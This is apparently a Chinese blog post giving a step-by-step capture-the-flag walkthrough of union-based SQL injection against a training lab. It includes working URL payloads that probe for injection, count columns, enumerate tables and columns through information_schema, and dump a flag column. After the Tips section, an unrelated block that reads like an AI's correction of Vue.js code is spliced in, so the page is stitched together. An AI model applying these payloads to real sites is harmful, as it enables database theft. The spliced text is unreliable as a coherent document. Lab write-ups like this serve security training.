2021-08-24

SQL注入(2)---- 显错注入

==================================================

注入的基本流程

判断是否存在SQL注入→判断字段数→判断显错位→判断库名→判断表名→判断列(字段)名→寻找详细信息。

以https://hack.zkaq.cn/中某靶场为例:
进靶场此时URL栏为:http://inject2.lab.aqlab.cn/Pass-01/index.php?id=1
没有添加代码的初始页面1>测试是否存在SQL注入
向任务栏中添加代码:
http://inject2.lab.aqlab.cn/Pass-01/index.php?id=1and1=1
页面无反应。
判断是否存在注入1向任务栏中添加代码:
http://inject2.lab.aqlab.cn/Pass-01/index.php?id=1and1=2
页面显示异常。
判断是否存在注入22>判断字段数
http://inject2.lab.aqlab.cn/Pass-01/index.php?id=1 order by 1
显示页面正常。
http://inject2.lab.aqlab.cn/Pass-01/index.php?id=1 order by 2
显示页面正常。
http://inject2.lab.aqlab.cn/Pass-01/index.php?id=1 order by 3
显示页面正常。
http://inject2.lab.aqlab.cn/Pass-01/index.php?id=1 order by 4
显示页面异常。
所以可以得出有3个字段。

3>判断显错位
http://inject2.lab.aqlab.cn/Pass-01/index.php?id=1 union select 1,2,3
如图所示画面
判断显错位可以判断出有两个回显点(显错位)为2、3位,1位为补充为继续下一步测试。

4>判断库名
http://inject2.lab.aqlab.cn/Pass-01/index.php?id=1%20union%20select%201,database(),3
得出如图所示页面
判断库的名称

5>判断表名
union select 1, 2,table_name from information_schema.tables where table_schema = database()
(将语句放在2处测试出现异常页面,在3处测试正常。)
得出如图所示页面
判断出表名为user

6>判断字段名
从上一步中得到了表名为user,进行下一步测试
and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=‘user’ limit 0,1
得出如图所示页面
判断表中字段通过改变limit0/1/2,1得出user表中有id、username、password三个字段
没有flag字段,所以寻找其他表。

如何得出其他的表
在查询表名语句后面加 limit 0,1 从第一条数据开始输出,输出一条结果
通过改变limit0/1/2/3…,1直到出现异常页面,获取所有的表名。
该库所有的表名分别为:【error_flag】【user】

如何得出所有的表名
union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) 显示全部的表名查询error_flag表中的字段

and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=‘error_flag’ limit 0,1
查询另一表的字段1and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=‘error_flag’ limit 1,1
找到了flag字段
查询另一张表字段2
and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=‘error_flag’ limit 2,1
显示异常页面故这张表只有【id】、【flag】两个字段
异常页面

7>寻找详细信息
得知了库名、表名、字段名以及他们的位置关系通过下列语句可得出flag
and 1=2 union select 1,2,flag from error_flag limit 0,1
flag得出所有flag(中的数据)
and 1=2 union select 1,2,(select group_concat(flag) from error_flag)
flag

Tips

关于如何判断是否存在SQL注入
判断是否存在SQL注入有许多许多种方法,这里使用的是判断显错注入的方式。

这段代码存在一些语法错误。具体来说: 1. `console.log` 方法中的字符串应该使用引号括起来,例如 `"每页 ${val} 条"` 和 `"当前页: ${val}"`。 2. `toggleContent` 方法应该定义在 `methods` 对象中,并且缺少一个左大括号 `{`。 3. `toggleContent` 方法中的 `console.log` 方法没有使用正确的字符串格式化,应该使用反引号括起来,并在占位符 `${}` 中使用变量名,例如 ``console.log(`当前高度: ${content.style.height}`)``。 4. 在 `v-for` 指令中,应该使用 `v-bind:key` 显式地绑定 `tableData` 数组中每个对象的唯一标识符,例如 `v-for="(item, index) in tableData" v-bind:key="item.number"`。 下面是修正后的代码: ``` <script> let v = new Vue({ el: '#app', data: { value1: '', value2: '', pickerOptions: { shortcuts: [ { text: '今天', onClick(picker) { picker.$emit('pick', new Date()); } }, { text: '昨天', onClick(picker) { const date = new Date(); date.setTime(date.getTime() - 3600 * 1000 * 24); picker.$emit('pick', date); } }, { text: '一周前', onClick(picker) { const date = new Date(); date.setTime(date.getTime() - 3600 * 1000 * 24 * 7); picker.$emit('pick', date); } } ] }, tableData: [ { number: '1', date: '2021-08-01' }, { number: '2', date: '2021-08-01' }, { number: '3', date: '2021-08-01' }, { number: '4', date: '2021-08-01' }, { number: '5', date: '2021-08-01' }, { number: '6', date: '2021-08-01' }, { number: '7', date: '2021-08-01' }, { number: '8', date: '2021-08-01' } ], currentPage1: 5, currentPage2: 5, currentPage3: 5, currentPage4: 4 }, methods: { deleteRow(index, rows) { rows.splice(index, 1); }, handleSizeChange(val) { console.log(`每页 ${val} 条`); }, handleCurrentChange(val) { console.log(`当前页: ${val}`); }, toggleContent() { var content = document.getElementById("content"); var btn = document.getElementById("toggle-btn"); if (content.style.height === "100px") { content.style.height = "auto"; btn.innerHTML = "收起"; } else { content.style.height = "100px"; btn.innerHTML = "展开"; } console.log(`当前高度: ${content.style.height}`); } } }); </script> <table> <thead> <tr> <th>序号</th> <th>日期</th> <th>操作</th> </tr> </thead> <tbody> <tr v-for="(item, index) in tableData" v-bind:key="item.number"> <td>{{ item.number }}</td> <td>{{ item.date }}</td> <td><button @click="deleteRow(index, tableData)">删除</button></td> </tr> </tbody> </table> <div class="pagination"> <el-pagination background layout="sizes, prev, pager, next, jumper" :current-page.sync="currentPage1" :page-sizes="[5, 10, 20]" :page-size="5" @size-change="handleSizeChange" @current-change="handleCurrentChange" :total="tableData.length" ></el-pagination> </div> <div id="content" style="overflow: hidden; height: 100px;"> 这是一段需要展开的内容。 </div> <button id="toggle-btn" @click="toggleContent">展开</button> ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值